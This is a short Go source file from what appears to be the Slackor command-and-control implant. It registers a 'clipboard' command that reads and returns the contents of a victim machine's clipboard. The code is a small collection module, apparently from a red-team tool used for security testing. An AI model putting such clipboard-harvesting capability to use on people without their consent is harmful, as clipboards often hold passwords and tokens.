github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/common/clipboard.go (about)

     1  package common
     2  
     3  import (
     4  	"github.com/Coalfire-Research/Slackor/pkg/command"
     5  	"github.com/atotto/clipboard"
     6  )
     7  
     8  // Clipboard reads the clipboard
     9  type Clipboard struct{}
    10  
    11  // Name is the name of the command
    12  func (c Clipboard) Name() string {
    13  	return "clipboard"
    14  }
    15  
    16  // Run reads the clipboard
    17  func (c Clipboard) Run(clientID string, jobID string, args []string) (string, error) {
    18  	return clipboard.ReadAll()
    19  }
    20  
    21  func init() {
    22  	command.RegisterCommand(Clipboard{})
    23  }